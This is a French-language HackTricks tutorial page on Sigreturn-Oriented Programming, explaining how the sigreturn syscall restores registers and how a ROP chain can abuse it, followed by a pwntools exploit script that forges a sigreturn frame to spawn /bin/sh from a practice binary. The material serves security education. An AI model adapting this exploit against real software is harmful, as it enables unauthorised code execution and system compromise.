SROP - Sigreturn-Oriented Programming

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Sigreturn est un syscall spécial principalement utilisé pour nettoyer après l'exécution d'un gestionnaire de signal. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail en cours pour gérer le signal avec un gestionnaire de signal, une fonction spéciale conçue pour traiter les signaux.

Après que le gestionnaire de signal ait terminé, le programme doit reprendre son état précédent comme si rien ne s'était passé. C'est là que sigreturn entre en jeu. Il aide le programme à revenir du gestionnaire de signal et à restaurer l'état du programme en nettoyant le cadre de la pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signal.

La partie intéressante est la façon dont sigreturn restaure l'état du programme : il le fait en stockant toutes les valeurs des registres du CPU sur la pile. Lorsque le signal n'est plus bloqué, sigreturn dépile ces valeurs, réinitialisant efficacement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.

Appeler le syscall sigreturn à partir d'une chaîne ROP et ajouter les valeurs des registres que nous aimerions qu'il charge dans la pile permet de contrôler toutes les valeurs des registres et donc d'appeler par exemple le syscall execve avec /bin/sh.

Remarquez comment cela serait un type de Ret2syscall qui facilite grandement le contrôle des paramètres pour appeler d'autres Ret2syscalls :

pageRet2syscall

Pour une meilleure explication, consultez également :

Exemple

Vous pouvez trouver un exemple ici, bien que ce soit l'exploit final à partir de là :

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour